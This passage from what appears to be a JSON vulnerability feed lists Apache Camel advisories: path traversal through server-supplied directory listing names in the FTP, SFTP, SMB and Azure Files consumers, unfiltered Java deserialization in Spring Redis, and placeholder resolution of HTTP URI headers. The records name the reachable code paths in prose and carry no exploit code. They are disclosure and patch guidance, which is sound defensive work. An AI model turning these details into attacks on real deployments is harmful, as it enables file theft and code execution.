GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which i","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the azure-files scheme. Its consumer derives from the same RemoteFileConsumer base class and composed the remote path through a plain concatenation helper, so it inherited the same unconstrained resolution. Reaching it requires a listing name that is not a single path segment, which the Azure Files REST service does not normally return; the exposure was corrected on the same basis as the other remote-file consumers rather than from a demonstrated proof of concept against this scheme.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:20.860Z","updatedAt":"2026-10-20T04:17:05.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79986","asOf":"2026-10-20T04:17:05.727Z"},"epss":{"probability":0.00645,"percentile":0.50614,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79986","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79986","type":"primary","publishedAt":"2026-10-19T11:17:20.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79985","cveId":"CVE-2026-79985","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component.","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component.\n\n\n\nThis issue affects Apache Camel: from 4.2.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is docume","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component.\n\n\n\nThis issue affects Apache Camel: from 4.2.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the smb scheme. Its consumer walks the share listing on its own rather than through RemoteFileConsumer, skipping only the exact \".\" and \"..\" entries, so a name carrying traversal segments in any other form was concatenated unchecked. Reaching it requires a server that emits a listing name which is not a single path segment, which a conforming SMB2 implementation does not do; the exposure was corrected on the same basis as the other remote-file consumers rather than from a demonstrated proof of concept against this scheme.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:20.647Z","updatedAt":"2026-10-20T14:17:02.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79985","asOf":"2026-10-20T14:17:02.867Z"},"epss":{"probability":0.00659,"percentile":0.51254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79985&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79985","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79985","type":"primary","publishedAt":"2026-10-19T11:17:20.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79985&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79985, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79984","cveId":"CVE-2026-79984","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component.","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component.\n\n\n\nThis issue affects Apache Camel: from 4.18.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component.\n\n\n\nThis issue affects Apache Camel: from 4.18.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the mina-sftp scheme, an alternative SFTP implementation whose consumer derives from the same RemoteFileConsumer base class and therefore inherited the same unconstrained resolution.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:20.437Z","updatedAt":"2026-10-20T14:17:01.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79984","asOf":"2026-10-20T14:17:01.990Z"},"epss":{"probability":0.00659,"percentile":0.51254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79984&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79984","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79984","type":"primary","publishedAt":"2026-10-19T11:17:20.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79984&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79984, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79983","cveId":"CVE-2026-79983","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component.","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is docume","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the ftp, ftps and sftp schemes, all of which are affected. The reporter demonstrated the issue end to end against an ftp endpoint, driving a Camel route with a malicious server whose LIST response named a file outside the polled directory.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:20.207Z","updatedAt":"2026-10-20T14:17:01.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79983","asOf":"2026-10-20T14:17:01.710Z"},"epss":{"probability":0.00659,"percentile":0.51254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79983&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79983","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79983","type":"primary","publishedAt":"2026-10-19T11:17:20.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79983&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79983, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78165","cveId":"CVE-2026-78165","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component.","summary":"Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component.\n\n\n\nThis issue affects Apache Camel: from 2.11.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nRedisConfiguration.getSerializer lazily built a bare JdkSerializationRedisSerializer whenever no serializer option was configured, and that instance was used for every read the component performs. Spring's implementation delegates through DeserializingConverter to DefaultDeserializer, which reads the bytes with a ConfigurableObjectInputStream and installs no java.io.ObjectInputFilter on the stream, so an arbitrary serialized class graph was materialised and its readObject method executed. RedisConsumer.setBody applied that serializer to the raw bytes of every message published to the subscribed channels, before the Exchange was constructed and therefore before any route logic could inspect the message, so an actor able to issue PUBLISH on a subscribed channel reached the deserialization sink directly. The same default serializer backed the RedisTemplate built by RedisConfiguration.createDefaultTemplate, so the producer read commands GET, HGET, HGETALL and HVALS deserialized whatever was stored in the Redis keyspace, and SpringRedisIdempotentRepository shared that template. Configuring a custom redisTemplate did not close the consumer path, because RedisConsumer.setBody reads getSerializer directly rather than the serializer attached to the template, so a deployment that had wired a String serializer into its own template remained exposed on the consumer side unless it also set the serializer option. The component never constructed a java.io.ObjectInputStream itself, which is why earlier passes over the Camel codebase for unfiltered Java deserialization did not reach it. The behaviour dates back to the introduction of the component, first released in 2.11.0, and was unchanged until this fix.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier re","detail":"Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component.\n\n\n\nThis issue affects Apache Camel: from 2.11.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nRedisConfiguration.getSerializer lazily built a bare JdkSerializationRedisSerializer whenever no serializer option was configured, and that instance was used for every read the component performs. Spring's implementation delegates through DeserializingConverter to DefaultDeserializer, which reads the bytes with a ConfigurableObjectInputStream and installs no java.io.ObjectInputFilter on the stream, so an arbitrary serialized class graph was materialised and its readObject method executed. RedisConsumer.setBody applied that serializer to the raw bytes of every message published to the subscribed channels, before the Exchange was constructed and therefore before any route logic could inspect the message, so an actor able to issue PUBLISH on a subscribed channel reached the deserialization sink directly. The same default serializer backed the RedisTemplate built by RedisConfiguration.createDefaultTemplate, so the producer read commands GET, HGET, HGETALL and HVALS deserialized whatever was stored in the Redis keyspace, and SpringRedisIdempotentRepository shared that template. Configuring a custom redisTemplate did not close the consumer path, because RedisConsumer.setBody reads getSerializer directly rather than the serializer attached to the template, so a deployment that had wired a String serializer into its own template remained exposed on the consumer side unless it also set the serializer option. The component never constructed a java.io.ObjectInputStream itself, which is why earlier passes over the Camel codebase for unfiltered Java deserialization did not reach it. The behaviour dates back to the introduction of the component, first released in 2.11.0, and was unchanged until this fix.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, set the JVM-wide jdk.serialFilter system property, which the affected code path honours because it reads through a java.io.ObjectInputStream, for example -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!* ; or set the serializer endpoint option to a serializer that does not use Java serialization, such as StringRedisSerializer, noting that this must be set as the serializer option and not only on a custom redisTemplate. As defence in depth, require authentication on the Redis instance and restrict which clients may publish to the subscribed channels, and do not expose a Redis instance consumed by Camel to untrusted networks.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:19.643Z","updatedAt":"2026-10-20T14:17:01.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Redis"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78165","asOf":"2026-10-20T14:17:01.450Z"},"epss":{"probability":0.00727,"percentile":0.53879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78165","type":"primary","publishedAt":"2026-10-19T11:17:19.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78164","cveId":"CVE-2026-78164","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty...","summary":"Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty HTTP, Undertow and Vert.x HTTP components.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel HTTP producer families let an inbound message override the endpoint URI through the CamelHttpUri and CamelRestHttpUri headers, and then passed that message-supplied string through CamelContext.resolvePropertyPlaceholders() before using it. Property-placeholder resolution is a configuration-resolution facility, not a URI-parsing step: it reaches operating-system environment variables, JVM system properties, every PropertiesFunction registered on the classpath - including the secret functions - and, through camel-bean, the invocation of a no-argument method on any bean in the registry. Applying it to Exchange content therefore turned a URI string into a configuration- and bean-evaluation context. A route author opted into none of this: a plain static to(\"http://backend/api\") was sufficient. Seven call sites were affected: HttpHelper.createURL and HttpHelper.createMethod in camel-http-common, HttpMethodHelper.createMethod in camel-http, VertxHttpHelper.resolveHttpURI in camel-vertx-http, UndertowHelper.createURL and UndertowHelper.createMethod in camel-undertow, and NettyHttpHelper.createURL in camel-netty-http. The bridgeEndpoint option did not bound the exposure: it suppresses the CamelHttpUri override in the createURL family but not in the createMethod family, so a route using the documented bridging configuration still resolved placeholders taken from the header, and CamelRestHttpUri was consumed before any bridgeEndpoint check in all four components. Only camel-http offered an 